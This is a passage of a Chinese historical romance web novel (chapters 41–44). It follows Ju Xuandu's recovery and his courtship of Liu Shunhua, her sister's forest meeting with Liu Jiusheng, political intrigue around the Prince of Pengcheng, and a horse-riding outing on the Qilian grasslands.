夜深人静,更漏声声,贺玄度趴在榻上,毫无睡意。 想起舅舅白日里说的那些话,他满脑子都是柳舜华那日说要留下时决绝的眼神。 他们一起经历了生死,好不容易才活了下来。本该有劫后余生的欣喜,如今却莫名其妙地相互置气。 他越想越后悔。 自相识以来,柳舜华待他如何,他不是不知,怎么就一时忍不住对柳舜华冷脸了呢? 柳舜华那眼神,也许并没有什么多余的意思,也许她只是刚好想起了什么,有些走神罢了。而且他当时状态并不大好,昨夜范神医施刀折腾了半夜,白日里又未曾好好休息,也许眼花看岔了也不一定。 不过是一个不值一提的眼神而已,自己几时竟变得如此小气。 如今冷静下来,细细一想,他当时的确有些无理取闹。 柳舜华当时一定生气了,所以走的时候都没有回头再多看他一眼。 越想越不安。 万一柳舜华也像他一样,气得翻来覆去睡不着,会不会从此就不再理他。 “周松,周松。”他喊了起来。 周松方迷迷糊糊地睡着,便被嚎醒,以为出了什么大事,从外间跑了进来。 “公子,怎么了,可是伤口……” 贺玄度打断他,“明日一早你马上去一趟陈家。” 周松睡眼惺忪:“哪个陈家?” 贺玄度嫌弃道:“就是柳舜华她外祖家啊,此前不是让你暗中调查过。” 周松反应过来,“公子,你也太心急了些吧,这大晚上的,就这么迫不及待地想着去请柳小姐。” 贺玄度咳了一声,摸着鼻子,“谁说我要请她过来了?我是突然想起来,他们陈家怎么说也是帮了咱们都尉府的大忙,是不是?今日我状态不太好,柳舜华过来的时候,我竟忘记向她当面致谢了。” 周松一脸嫌弃,“大半夜的,就为这么点事?” 贺玄度正色道:“怎么能是小事呢?她可是救了咱们都尉府。这么大的事,白日里她过来时,你也不提醒着我道谢?这不知道的,还以为都尉府多薄情寡义,不知感恩呢。传出去,都尉府的脸面还要不要了?” 周松打着哈欠,“好好好,这是天大的事,明日一早我就去陈家当面致谢。我的公子,能让我去睡了吗” “等一下,”贺玄度叫住了他。“那个,你也知道,柳小姐她,一直对我很关心。明日你去谢礼的时候,若柳小姐问起来我的情况,你就如实相告。若是她不问……你就,旁敲侧击地暗示她一下。不过,要注意点措辞。” 周松上下看了看贺玄度,不解:“你的情况?你什么情况?” 贺玄度指着自己的后背,“你没看到,我这都疼得彻夜难眠了。” 周松扫了一眼他的后背,嘴角一撇。之前被砍伤,比这严重多了,也没见这么矫情。 大半夜的把他薅起来,说只是为了都尉府的颜面,骗鬼啊。 分明是前脚得罪了人家柳小姐,后脚就想办法上赶着去讨好,当他是傻子看不出来吗? 还疼得睡不着,是闲得睡不着吧。 第42章 第42章浑身无力,手疼,劳你喂…… 夜里下了一场小雨。 早起醒来,一池青草漫长,蛙鸣阵阵。 院中的枣树越发油润,密密的枝叶间,隐隐露出豆大的青果子。 柳棠华拉起陈莹,仰着头去看那些小青果子。 二表哥蹑手蹑脚地走过去,对着枣树一跺脚,叶片上隔夜的雨水簌簌落下,微凉的雨滴滚进衣领里,激得两人一下跳了起来。 “好啊,我就知道是你搞的鬼,讨打。” 陈莹嘴上骂着,抓起墙边的短棍便追了上去。 二表哥抬脚便跑,方跑到门口迎面撞到上了人。抬头一望,来人身穿官服,不知来此作甚,瞬间紧张起来。 柳舜华正在屋檐下同陈茵说笑,抬眸一瞧,正看到周松。 “你怎么来了?”她有些诧异。 周松笑道:“此前刺史府突袭都尉府,多亏了柳小姐仗义出手,我奉都尉之命,特来道谢。” 说罢,一挥手,招呼几个等在门口的侍卫抬了谢礼进来。 二表哥听他说是都尉府的人,细细一瞧,发现竟是那日巷口给他们传话之人,这才放下心来。 外祖与舅舅听到动静,见是都尉府的人,忙出来相迎。 周松与他们客套两句,便指挥侍卫们将谢礼放好。 外祖瞧着堆积在旁的谢礼,连声道:“万都尉客气了。有劳这位官爷了,大清早的烦你特地跑来一趟。” 周松连连摆手,嘴上说着哪里哪里,脑子里却不住在想,这么多人在,他要如何不动声色地暗示柳舜华,才能让她看在表公子可怜的份上,原谅他这次的愚蠢行为。 外祖见他依旧站着,丝毫没有回去复命的意思,一时摸不清他的想法。 众人尴尬地站了片刻,外祖忍不住打破沉默:“这位官爷一路辛劳,若是不嫌弃,还请进屋喝一杯茶。” 周松听他提到茶,接道:“哎呀,说起这个茶啊,茶,我们表公子他,最喜欢喝这寻常人家的茶了。可惜啊,他没口福。” 他这话接得过于生硬,众人一时反应不过来,只能陪着干笑。 陈莹疑惑地看向柳舜华,眼神示意,这人到底想干什么? 柳舜华摇摇头,这个周松,今日的确有些怪异。 外祖只能赔笑道:“我们家的茶,都是外面铺子里随便买的,只怕入不了贺公子的口。” 周松突然一拍头,伤感道:“哎,贺公子如今怕是一口茶都喝不下了。” 他瞥了一眼柳舜华,继续道:“昨夜他疼得啊,是翻来覆去的,一整晚都没睡好。整个人都恹恹的,也没什么胃口,从昨天到现在,竟是一口饭也没吃啊。” 果然,此话一出,方才还一脸淡然的柳舜华忙走了过来,“昨日我离开时不是还好好的吗,怎么过了一夜,反而严重了呢?” 周松拧着眉,“大概是郁气凝结,导致淤血难散吧。” 柳舜华本就忧心贺玄度的伤势,听到他病情加重,更不放心。 她走到外祖身边,轻声道:“外祖,贺公子毕竟因我受伤,如今伤势加重,我想我应当前去探望,不然岂不失礼。” 外祖点头,“理当如此。” 得了外祖应允,柳舜华当即跟着周松去了都尉府。 贺玄度已经勉强能起身,半靠在榻上,正百无聊赖地喝着肉粥。 听到门口有脚步声传来,便知是周松回来了。 人还未进屋,他便急道:“你回来了,怎么样?” 周松大步跨进来,看到贺玄度手里的肉粥,朝着他使了个眼色。 贺玄度一时不解其意,疑惑地望着他。 周松露出一个自求多福的表情,退到一边。 日光流泻,青紫罗衣的裙摆扫过门槛,似一团青云飘荡,柳舜华走了进来。 贺玄度怔了片刻,他没想到,昨日他朝她冷脸,她竟还肯跟着过来。 想起周松方才的眼神,贺玄度福至心灵,一下明白了过来。 手一抖,汤匙落在碗中。 他身子费 力向前,伸手去抓汤匙,手却抖得厉害,试了几次,都未曾拿到。 柳舜华看得眼眶泛红,贺玄度竟虚弱到如此地步。 她快步走过去,按住他,掏出帕子,将方才溅出来的粥糜擦干。 周松实在看不下去,找了个借口赶紧溜之大吉。 贺玄度微微喘着气,看着柳舜华低声道:“你怎么来了?” 柳舜华见他脸色惨白,眼下一片乌青,果如周松所言,他疼得彻夜未眠。 贺玄度偷偷瞥了柳舜华一眼,瞧她眼中满是疼惜,自觉是最佳时机,此时不道歉更待何时。 “对不起!” “对不起!” 话一出口,两人皆愣了片刻,待反应过来,忍不住低头笑了起来。 贺玄度笑道:“好端端的,你道什么歉。昨日之事,本就是我不对。如今你这一开口,倒显得我小肚鸡肠了。” 他半仰着头,目光中是一贯的肆意飞扬,嘴角的笑格外灿烂,衬得惨白的脸上都有了几分玉色。 柳舜华只觉压在心上的石头瞬间落了地,忍不住歪头一笑,“那我收回方才那句话?” 贺玄度摆摆手,“赶紧收回,我堂堂男子汉,若是还要你特地跑来向我道歉,像什么样子。” 柳舜华低头浅笑,看到方案上的肉粥,柔声问:“你还能自己喝吗?” 贺玄度眉头微皱,摇摇头,“浑身无力,方才胳膊好容易才抬一下,又抖得不行。” 柳舜华看着他的伤处,安慰道:“你伤了背,连着胳膊呢,举不起来也是正常,可千万别心急。不如叫成松回来,喂你如何?” “成松粗手粗脚的,让他喂我,我宁愿饿死。”贺玄度哭丧着脸,抬眼可怜巴巴地望着柳舜华,“你不是在呢嘛,要不,就劳你喂我吧?” 柳舜华无奈摇头,“都这样了,还这么多讲究。” 嘴里虽这么说着,柳舜华还是端起了碗。 肉粥应是端过来有段时辰了,摸着有些余温,倒也不烫。 柳舜华舀了一勺,贺玄度便自觉地把头凑过去。 如此喂了几勺,怕贺玄度总伸着脖子不舒服,柳舜华不觉向榻上坐近了些。 她昨夜洗了头发,发间犹留着甜涩的青草气,暗香幽浮,熏得人一时沉醉不已。 贺玄度抬头,正望见她纤细的脖颈,嫩藕似的雪白一片,一时神醉骨酥,不觉耳尖泛红。 柳舜华眼一瞥,瞧见他这副迷离的神情,脸上一红,不觉向后退了一步。 贺玄度敛了神色,“多谢你喂我,不然我怕是要被饿死了。” 柳舜华柳眉一横,沉脸道:“呸呸呸,什么死啊死的,大清早你就不知道忌讳。” 贺玄度点头,“好,我记下了,下次不会了。” 柳舜华这才满意,将碗放下,看着窗外绿树成荫,缓缓道:“来时桐花满路,如今却已是孟夏,还未好好瞧瞧凉州的春日,就这么过去了。” 贺玄度笑道:“想逛凉州城,这还不简单,等伤好了,我带你四处走走如何?凉州城靠近祁连山北麓,有一处马场,我带你去骑马如何?” 祁连山北麓马场,柳舜华再熟不过。 早年间,外祖就在那里给人养马。她的骑术,就是在那里学的。 她天生擅骑射,两个表哥尚不及她。 一晃多年,她都快忘了,在草原上肆意奔腾的感觉。 贺玄度只当她有疑虑,得意道:“你不会骑也不用怕,不是我自夸,我骑术一流,只消一日,保管教会你。” 柳舜华一笑,“好啊,这个时节,祁连山脚下的草原绿草如茵,满目苍翠,正是骑马驰骋的好时候。” 贺玄度连声道:“那就这么说定了,不准反悔。” 他一激动,便想坐起来,动作太大,扯到了伤口,疼得叫了起来。 柳舜华提醒道:“受了伤还不安稳,你小心些,不然这伤口什么时候才能好。” 贺玄度捂住后背,哼哼了几声,骂道:“都是郑列这个老匹夫,不然我也不用受这活罪。” 都尉府遭劫一事,柳舜华心中尚有许多疑问。 她总有种感觉,贺玄度对刺史府有此举动好像并没有很大的意外。 对抗刺史府贼军时,贺玄度的表现,并不像一个十足的纨绔。 还有,贺玄度似乎猜到了万都尉会回来。 她本想问一问贺玄度,可一抬头,瞧见他疼得扭曲的脸,还是止住了。 不过,贺玄度这一说,她倒是想起了另一件事。 “程三他们怎么样了?” 贺玄度抽回手,“舅舅说他们也都受了伤,被安置起来医治了。” 柳舜华想了片刻,缓缓道:“有件事,恐怕要麻烦你。” 贺玄度已经猜到了,当初程三肯奋力杀敌,定是求柳舜华事成之后免了他们的罪责,放他们离去。 他们冒充千机阁贼匪一事,贺玄度听舅舅提起过。他们本是山林中的猎户,郑列以山中有祥瑞,不宜被扰为由,将山林圈禁起来,导致他们全村断了生计。一村人辗转流落到此处,听闻有山贼洗劫过往商队,便假借贼匪之名,行打劫之事。据他们交待,他们只图财,从未伤过人性命。 起初贺玄度还对他们的话起疑,如今看来,正是他们村子所在的山林与凉州城外相通,千机阁那些人才能神不知鬼不觉地避开他们的视线。凉州城内外,皆有都尉府的眼线,千机阁能避开他们,显然是走了这条隐秘的通道。 贺玄度道:“他们这次立了功,舅舅不会再去追究的。” 柳舜华摇摇头,“不是,他们想加入万都尉的军营。” 贺玄度道:“我当是什么事,昨日舅舅还同我说起,程三此人一身蛮力,沦为贼寇着实有些可惜。既然他有心想走正途,那再好不过,改日我便同舅舅提一下。” 柳舜华轻笑道:“如此甚好,总算是对他们有个交代。” 贺玄度看柳舜华喜笑颜开,心中有些吃味。 他懒懒地换了个姿势,继续歪在窗边,漫不经心道:“柳舜华,你不会是为了这事才过来的吧?” 柳舜华向他那边探了探,“怎么会?我今日是特意来看你的。只是那场劫难中,他们到底出了力。既然他们有求,我自然希望能从中说合,也不枉他们帮咱们一场。” 贺玄度本来还有些不痛快,一听她说“咱们”,嘴角一勾,回道:“那是自然,你放心,此事若是办不成,随便打我骂我,我都认。” 柳舜华扑哧一笑,“谁要打你骂你,我……” 话音突然止住,柳舜华轻咳一声,用帕子捂住了嘴,偏头转到一边,脸颊红晕一片。 贺玄度歪头瞧过去,“你怎么样?” 柳舜华拉下帕子,嗔声道:“时候不早了,我要回去了。” 说着,起身便要走。 贺玄度拉着她飘过来的衣角,仰头看着她,“明日,你还来吗?” 他语气温软,像是冬日暖阳下慵懒趴在台阶上的猫,偶叫一声,便让人痒在心里。 柳舜华浑身一颤,木然地点了点头,“来。” 第43章 第43章真甜 一晃多日,贺玄度的伤口慢慢愈合。 柳舜华看他伤势稳定,过来的不似前几日那么频繁。 听周松说柳舜华的表姐要开个食铺,这些时日她都在帮着找铺子。 倒是万都尉,终于得了空过来。 万都尉坐定,朝着四周看了看,笑道:“还是你这个院子清静啊,外面那些烦扰,都被隔绝了。” 贺玄度倒了茶递过去,“看来郑列还是不肯供出彭城王,才让舅舅头疼到来这躲清闲。” 万都尉接过茶水,一饮而尽,叹口气道:“郑列咬死不认,证据又全都被毁,看来彭城王早有准备。” 贺玄度望向远处,“彭城王?还真是小看了他的实力和野心。” 万都尉深邃的目光中露出几分担忧,“彭城王此举,实在有些让人摸不着头脑。莫非,他已知晓,咱们要暗中对付他 之事,所以才会指使郑刺史勾结匈奴,企图诬陷我叛国?” 贺玄度摇摇头,“若是他知晓咱们要对付他,没必要兜这么大一个圈子,还要冒这么大的风险。” 万都尉虽善战,对朝局以及彭城王本人却不甚了解。这些年,都是贺玄度同散落在各地的探子对接。 他道:“那是为何?” 贺玄度沉吟道:“彭城王此人,心思谈不上多深,却是个极功利的。他这么做,必然是对他有极大的好处。” 万都尉略一思索,“好处?如今郑刺史已经投靠于他,他是想要把我拉下马,然后换上自己人,彻底掌控凉州。” 贺玄度道:“没错,凉州连接中原与西域,与西域诸国经济往来频繁,税赋可观,马匹精兵培养得天独厚,又远离长安,若是能控制住此处,对他将大有益处。” 万都尉点头,“看来,他对那个至尊之位,是志在必得了。” 贺玄度轻嗤一声,“彭城王狼子野心,皇上岂会没有防备。这次即便咱们没有证据,可只要放出一点风声出来,皇上自会派人去详查。” 万都尉道:“我已派人将郑刺史勾结匈奴之事禀报朝廷,这两日便会有人过来,到时这一堆烂摊子,就交给他们吧。” 贺玄度冷声道:“此次失利,还丢了个郑刺史,彭城王一定会有其他举动。只要不打草惊蛇,继续盯紧他,总能抓到他的把柄,为逝去之人,讨一个公道。” 万都尉神色凝重,对着天穹一声长叹,“先太子一事,父亲临终前一直耿耿于怀。若是能寻一个真相,百年之后,我也好安心去见他老人家了。” 想到外祖,贺玄度有些哽咽,“舅舅放心,长安有我,我定会协助舅舅找到真相,还先太子一个清白。” 万都尉收回目光,许久,才又说道:“九生听说你受伤,还险些丧了命,日夜兼程从长安赶了过来。” 贺玄度一怔,原来他受伤的消息已经传回长安。 九生都得知的消息,那个人不会不知。 距他重伤到如今,已过去近十日。 十日,若他有心…… 说到底,他根本不在乎,他不需要一个一无是处的儿子,更不需要他。 他强压心中的烦闷,笑道:“九生在何处,怎么不见他来?” 万都尉道:“最近府内人多眼杂,我将他安排在了安乐巷。他昨日晚间到的,风尘仆仆的,一看便知一路上受了不少罪。这孩子,重情,随了先……” 意识到说了不该说的话,万都尉及时止住了。 贺玄度笑了笑:“九生与我情同兄弟,自然和别人不同。我已能下床走动,劳烦舅舅安排我们今晚见一面,他若见不到我,怕是难安心。” 万都尉应下,拍了拍他的肩,“好。” 说罢,见他神情恹恹,忙转移了话题,“我瞧着,最近柳小姐来得不似先前那么频繁,你们可是又拌嘴了?” 贺玄度低头一笑,“舅舅,人柳小姐是来凉州是探亲的,又不是探我的,自然不会围着我转。” 万都尉放下心来,嘱咐道:“没有拌嘴便好。我说你也主动些,抽个时间,好好带着柳小姐四处逛逛,也不枉她照看你一场。” 贺玄度垂头道:“她表姐那里有些事要忙,这几日,她怕是顾不上不上我了。” 柳舜华同样顾不上的,还有柳棠华。 自大表姐说要开铺子以来,前几日尚好,因要讨论做什么吃食,表姐变着花样,整日做一桌子的菜来让她们试味。 可这些日子,姐姐总是陪着表姐去看铺子,从街头看到巷尾。两人一连看了数日,每个铺子前都停留一段时辰,观察来来往往的人群,一坐便是半日。 柳棠华坐不住,到第二日便寻了个借口溜走。 前几日她刚跟着三表哥学会摸鱼捉野鸡,一直跃跃欲试,今日逮到机会,便一头扎进附近的林子里去。 林子不算太远,沿着一条小溪,不到半个时辰便能走到。 柳棠华取下背上的工具,设置好陷阱,在附近撒些干稻谷,一切准备就绪,得意地拍着手离开,远远地躲在一棵大树后。 等了约摸一炷香的功夫,还不见有野鸡过来。 柳棠华靠在树上,渐渐有些犯困,昏昏欲睡之际,终于听到陷阱那边有响动。 她忙直起身子,趴在树后,眼睛一动不动地盯着前方。 不一会,一只五彩的野鸡拖着长长的尾巴,晃晃悠悠地走了过来,边走边啄食。 野鸡朝着陷阱越走越近,眼看就要踩空。 “嗖”的一声,一支箭射了过去,正中野鸡腹部。 那野鸡歪了一下,倒在陷阱上,扑通一声掉了下去。 树丛晃动,有人走了出来。 那人手持弓箭,一身粗布衣衫,头发微微有些凌乱,脸色看起来也不太好,不过一双眼睛倒是炯炯有神,脚步稳健有力,正朝着陷阱处走去。 那人弯腰从陷阱中将野鸡拿出,拎着便大步流星离开。 柳棠华见他要走,忙从树后面跑出来,挡着他面前。 “你不能走,这是我的野鸡。” 那人不防林中有人,愣了片刻,低头看着眼前的小姑娘。一身青绿衣衫,梳着个双丫髻,两根红色的发带飘在鬓边,白皙莹润的圆脸上带着几分薄怒。 那人一笑,指着野鸡身上的箭羽,“姑娘,你看,这个野鸡是我猎到的。” 柳舜华望向他身后,气呼呼道:“那是我设的陷阱,你是从陷阱里拿的。” 那人脸上依旧挂着笑,耐心地解释,“它只是被我射中,不小心掉进了你的陷阱。” 柳舜华秀眉一横,“它方才是因为吃我的稻谷才停下来的,它若不停下来吃,你未必射得中。而且,它本来就是要掉下去的。” 那人一听,觉得她说得好像确有几分道理。 他看了看手中的野鸡,“实在不是有意要与姑娘相争,只是我家中弟弟近来患病,我却囊中羞涩,不能为他做什么,这才出来猎只野鸡,想为他补补身子。” 柳棠华出来一下午,有心要猎只野鸡给到柳舜华,好好炫耀一番。眼见着到手的猎物被人拿走,一时情急,言语难免有些不客气。 可眼前这人,被她几番针对,依旧从容温和,不急不躁,倒显得自己有些刁蛮了。 她面上一红,垂头道:“我姐姐近日操劳,我也想猎只野鸡,给她炖汤喝。” 那人看了看天边,“今日天色已晚,怕是再难猎到了。不过前面溪边应该有鱼,我替姑娘抓几条鱼上来换这只野鸡,不知姑娘意下如何?” 若论起来,这野鸡算是谁的真不好说,柳棠华打定主意,绝不让步,没想到这人却想出这样的办法。她歪头一想,看在他们家中有病人的份上,勉强让一让也未尝不可。 她点头,“也好,不过鱼要大,要肥。” 两人来到溪边,那人也不废话,将野鸡放下,卷起裤腿,拿着削尖的木棍便下了水。 夕阳照在水面上,波光粼粼,男人结实的小腿踏在溪水中,高举着木棍,眼神专注。 柳棠华坐在岸边,手托着腮看着眼前男人的半边侧脸。他虽然五官不甚突出,骨相却极好,鼻梁高挺,下颌锋利,自有一股说不出的气势,就像是刻意藏着利爪的豹子。 “扑通”一声响,水面激起层层水花。 男人收起木棍,趟着水走过来,将鱼取下,放在柳棠华背篓里。 “等着,我再抓条给你。” 不一会,男人果又抓了条更大更肥的来。 柳棠华看着背篓内的两条大肥鱼,惊叹不已,“你好厉害,这么会便捉了两条。” 男人垂眸一笑,摸着头道:“这有什么厉害的,不过是寻常的本领罢了。” 柳棠华却道:“我两个表哥都是捉鱼的高手,可都没你手法这么准。” 男 人面上笑容愈深,“那这两条鱼,姑娘可还满意?” 柳棠华点头,“满意,我觉得这两条肥鱼比那只山鸡好多了。” 男人穿上鞋袜,“既如此,那姑娘也早些回吧。” 夕照之下,一人拎着野鸡,一人背着肥鱼,缓缓往回走。 柳棠华性子活泼,一路上喋喋不休,将她在凉州的趣事抖了个干净。 男人偶尔搭几句,大多数时候,只静静地看着她手舞足蹈,开怀大笑。 临别之际,柳棠华叫住男人,“我叫柳棠华,你叫什么?” 男人犹豫片刻,本不想回答,可一低头看到柳棠华笑盈盈的一张脸,一双亮晶晶的圆圆的眼睛,天真中带着真诚,脱口道:“刘九生。” “刘九生。”柳棠华默默重复着。 刘九生自嘲一笑,“九死一生,不是什么好名字。” 柳棠华摇头道:“怎么不是好名字,九死一生,最终不还是个生字。九死过后,便是大福。这个名字,贵气得很呢!” 刘九生被她的一番解说逗得大笑,“姑娘真是一张巧嘴。” 柳棠华歪头一笑,“我兄长常说,否极泰来,姐姐也说,日日常新。你这么厉害,将来一定会大有作为。” 刘九生自出生便漂泊无依,烂泥里讨生活,短短十七年,尝尽世间冷暖。莫说如此娇俏的贵女,便是寻常人家的女子,都未必肯多看他一眼。 他心上蓦地生出一丝柔情,温言道:“多谢姑娘吉言,天色将晚,姑娘早些回吧。” 柳棠华盯着他手里的野鸡看了会,又看了看他破烂的袖口,抬手从袖中掏出一个荷包来。 “方才看你捉鱼我就知道,没有我的诱饵,你也能猎到这只野鸡。这两条鱼,算我买的。” 刘九生一愣,并没有去接。 柳棠华看他有些犹豫,一把拉过他的衣袖,将荷包塞进他手里。 不等他拒绝,柳棠华便跳着跑开,朝着他挥手,“明日我还去猎野鸡,你若是也去,记得找我啊。” 刘九生盯着柳棠华的背影,看着她背着个小背篓,像个小兔子一蹦一跳,直到她身影消失,才晃过神。 他垂下头,看着手中的荷包,一枝海棠将开未开,花叶娇柔却又不乏生机。 他嘴角不觉一笑,将荷包揣进怀里,转身离去。 …… 转眼已是四月底。 这日,屋外起了风,一阵叮叮当当的惊鹊铃响过,樱桃树上一簇簇微红的小果子随风晃动,光影摇曳在石阶上。 廊下小憩的贺玄度缓缓睁开眼,盯着那些红色的果子,忍不住又想起了柳舜华。 已是黄昏,柳舜华今日大约是不会来了。 风中已有几分燥热,吹得贺玄度心烦意乱,忍不住揉着额头,愈发觉得无聊。 “又不肯好好吃药。” 娇柔的嗓音带着几分嗔怪,穿过曲折的回廊,飘了进来。 贺玄度一下坐直了身子,“柳舜华,你怎么来了?” 柳舜华瞥了一眼榻上的药,走过去摸了摸盛药的碗,“都凉了。” 贺玄度张开双臂,笑道:“你看,我都已经快好利索了,这些药这么苦,不吃也罢。” 柳舜华离得太近,他手臂又长,这个动作,几乎要将她圈进怀中。 贺玄度似乎并未觉察到不妥,双眸微微一挑,又靠近了几分,“你这个时候过来,就是监督我吃药?” 柳舜华耳尖泛红,退后几步,将药端起,抬手递给他,“少贫嘴,快些喝了。” 贺玄度看到药,一张俊脸皱成一团,还是接过,一口饮下。 柳舜华掏出来时顺路买的饴糖,剥开一颗,递到他跟前。 贺玄度用下巴示意他手中端着碗,腾不开手,“你喂我。” 他眉目舒展,嘴角带着浅笑,落日映在眼底,一瞬光华流动。 柳舜华呼吸一滞,像是被蛊惑了一般,伸手将糖往他嘴里送。 贺玄度俯身,低头将糖卷入口中,微凉的舌尖滑过柳舜华的指腹。 柳舜华浑身犹如电击,脑中一片空白,阵阵酥麻感袭遍全身。 “真甜!”贺玄度将碗放下,“你在哪买的,怎么这么甜?” 柳舜华骤然回过神,将包裹着糖的纸揉成一团,攥在掌心,强自镇定道:“路边随手买的,哪里能比得上丞相府的那些点心。” “看来还是这药太苦了,多谢你记得带糖过来。”贺玄度叹气,“周松他们都是粗人,就是比不得你细心。你不在这两日,都没人给我备些糖吃。” 柳舜华将余下的饴糖放在桌上,“是我的疏忽,这里还有,你先放着,足够你吃个三五日了。” 贺玄度笑:“我听周松说,你这些时日都在忙你表姐的事,能抽空过来看我,已是有心了。” 柳舜华听他提到表姐,便道:“我今日来,正是要说我表姐之事。” 贺玄度示意她坐下,“你慢慢说。” 柳舜华顺势坐下,抿唇道:“你还记不记得,此前,你曾让洪声送我两枚金饼。” 贺玄度想了想,点头:“哦,是有这么回事。你替我照看绿玉多日,绿玉那个性子,定是惹了不少麻烦,这都是你应得的。” “绿玉很乖的,照看起来也并没有很费神。何况,我与棠华都很喜欢它,委实谈不上辛苦。”柳舜华咳了一声,如实道:“那个金饼,原本打算留着还你的。只是,来凉州时,采买用具,一不小心买多了,便用了一枚。剩下的那枚,我又拿去帮表姐盘了间店铺。” 贺玄度听她说到金饼,料定她又要避嫌,想要将它退回,已经有几分不悦。又听到她大大方方地告知已将两枚金饼都用了,脸色顿时缓和不少。 “你今日特意过来,就是为了说这个啊。”贺玄度笑了,“柳舜华,我给出去的东西,断然没有再收回来的道理。” 柳舜华道:“话虽如此,但总归是太贵重了些。” 贺玄度漫不经心道:“两枚金饼而已,也值得你跑这一趟。” 柳舜华捏着衣角,半晌,缓缓开口,“也不全是。我今日来,一是想看看你的伤,还有便是……我想问你借些钱。表姐那边,实在是困难。你放心,等回到长安,我一定……” 贺玄度见她微低着头,一脸不安,又拼命解释的样子,不觉有些好笑。 不等她说完,他俯身凑近,贴在她耳边,低沉的嗓音带着几分慵懒,“哦,借钱啊,这有什么难的,只要你答应我一件事,想借多少都随你。” 若有若无的药香,混合着饴糖的香甜,伴着浅浅的呼吸,萦绕在耳畔。 柳舜华一怔,身子往后一缩,结结巴巴道:“你……你想做什么?” 贺玄度回身,懒懒地靠在椅背上,看着柳舜华的眼睛,笑道:“自然是陪着我去骑马了,先前说过的。怎么,柳大小姐忘了?” 柳舜华尚未回过神,喃喃道:“骑……骑马?” 贺玄度歪头笑道:“当然是骑马了,柳小姐以为是什么?” 柳舜华这才反应过来,贺玄度是有意逗她,忍不住脸颊涨红,美目一扬,瞪了他一眼。 贺玄度怕她真的生气,忙换了副脸色,认真道:“柳舜华,你有事先想到我,我很高兴。只是下次,不要再同我这么见外。能帮到你,我很乐意。” 柳舜华抬眸,对上他带着缱绻笑意的眼眸。 风乍起,繁茂的枝叶间惊雀铃声声,一下下叩在柳舜华的心上。 她想,贺玄度对她,大约是有些好感的吧。 第44章 第44章二人世界惨变四人行 五月初的凉州,万物葳蕤,榴花开得正艳,一簇簇红彤彤,热情似火。 贺玄度的伤终于养好,迫不及待约了柳舜华去骑马。 柳舜华依约而至。 祁连山草场,群山青绿,霞雾缭绕,苍鹰盘桓于山间。 辽阔的草原上,碧野千里,绿浪随风,一波一波涌向天际。 贺玄度牵着一匹鬃毛乌黑水滑的骏马,站在开满紫色马兰花的河岸边,已经等候多时。 他今日穿了一身朱瑾衣衫,革带束腰,姿态从容,愈发衬得人神采飞扬。 柳舜华牵着一匹马与柳棠华款款而来,贺玄度看到柳棠华的一瞬,脸上笑容顿时凝固。 怎么还带了一个跟屁虫来。 柳舜华见他扫了柳棠华一眼,笑道:“我妹妹听说要来骑马,也想一起来玩。” 贺玄度勉强挤出一个笑容,“既然来了,那就一起吧。走,我先教你。” 柳棠华却道:“等一下,还有一个人要来。” 柳舜华看着贺玄度,见他似乎有些黑脸,莫名有些心虚,“棠华她好不容易在这交到一个朋友,我就想着人多一起热闹。” 柳棠华并未留意到两人之间的小心思,只是盯着远方,拼命的挥手,“这里,这里。” 柳舜华闻声抬头,望着来人,只觉一股热血冲上脑门。 竟然是他,新帝刘九生。 她脑中一片混乱,她记得真切,上辈子棠华分明说过,他们相识于长安,怎么会在这碰到他? 贺玄度与刘九生眼神碰撞,彼此流露出不可置信。 贺玄度打量着刘九生,这人昨天分明说要出去野猎。 刘九生也看着贺玄度,这人明明说要独自外出散心。 两人眼神快速交流,试图从对方眼中确认要不要点明彼此身份。 柳棠华站到刘九生身侧,笑盈盈地向柳舜华与贺玄度介绍,“这是我新认识的朋友,叫刘九生。他射箭很准的,也会骑马。” 贺玄度摸摸鼻子,咳了一声,“那个,我们认识。” 柳棠华喜道:“你们竟然认识,这也太巧了。” 柳舜华闻言,心下愕然,贺玄度竟与刘九生认识。 刘九生附和着,“对,在长安的时候,有幸同贺公子打过几次交道。” 柳舜华望着两人,虽然他们看似疏离,但她总觉得,他们之间绝不止打过几次交道那么简单。 贺玄度对着柳舜华嬉笑道:“既然九生在,那你可以安心把你妹妹交给他了,他骑术仅次于我。” 刘九生笑道:“放心,今日我定教会柳小姐骑马。” 话音方落,柳棠华已经拉着刘九生去到一边练了起来。 柳舜华下意识地想要跟上去制止,被贺玄度一把拉住,“你跟上去做什么,是嫌我骑术不精?” 柳舜华忙摇头道:“当然不是,我只是不放心棠华。” 贺玄度眼一瞥,“她又不是三岁小孩,你看,人家那边已经学起来了,你再不抓紧,若是输给九生,我可不服气。” 柳舜华心内暗笑,他还真是,什么都要比。 贺玄度上下看了看柳舜华的白马,点头道:“你这马倒是选的不错。” 柳舜华笑道:“这是表哥的爱驹,求了他半日才答应让我骑的。” 贺玄度瞧她今日穿了一身利落轻巧的衣衫,整个人颇有些英姿飒爽的味道,宛若春日枝上的新叶,蓬勃明媚,与平日里温柔贤淑的模样截然不同。 他耐心地教她一些骑马要领后,道:“待会你上马的时候,从左侧,踩着马镫翻上去。” 怕柳舜华上不去马,需要他帮忙,贺玄度便先放手让他的马儿在一旁吃草。才丢掉缰绳,一回头,便见柳舜华翻身上马,轻巧如燕,稳稳落在马背上。 贺玄度有些诧异:“真是没想到,你身手如此敏捷。” 柳舜华垂头一笑,“你以为我当如何,笨重得马都上不去?” 贺玄度笑,“那倒没有,你身姿轻盈,我是怕你手上没有力气。不过如今瞧着,你这架势倒是不错。” 柳舜华谦虚,“又不能上阵杀敌,不过是些花架子罢了。” 贺玄度笑,“你倒也不用谦虚,女子骑马,照样可以意气风发,不输男儿。说起来,我的骑术,还是女子教的。” 柳舜华脸色微微一变,贺玄度引以为傲的骑术,是女子所教。 贺玄度没留意到柳舜华的脸色,望着苍茫的草原,感叹道:“那小姑娘当真是我见过最飒爽之人,一袭红衣,策马奔腾,呼啸而去……” 听他的语气,似乎对那女子有些念念不忘,柳舜华心里有些泛酸。 贺玄度转头,看到柳舜华脸上笑意渐消,稍一琢磨,走到她跟前,仰头笑道:“我说的是我小时候,那个小姑娘才六、七岁。当时,那小姑娘的家人就在此处牧马,如今已过了十年,那小姑娘怕是早嫁人了。” 十年前,六岁,红衣,家人在此牧马。 柳舜华记忆深处的片段再次浮现,十年前,外祖与舅舅正是在此处牧马。 六岁时,她似乎的确遇到过一位娇气的小公子。那位小公子被人带着在此骑马,他身体矮小,偏不让人抱着他上马,试了几次,都未能成功,便在一旁赌气。 她勒马停在他身旁,歪头问:“你怎么不让他们抱你上去?” 小公子抱臂哼道:“我要自己上去,别人帮忙算什么本事。” 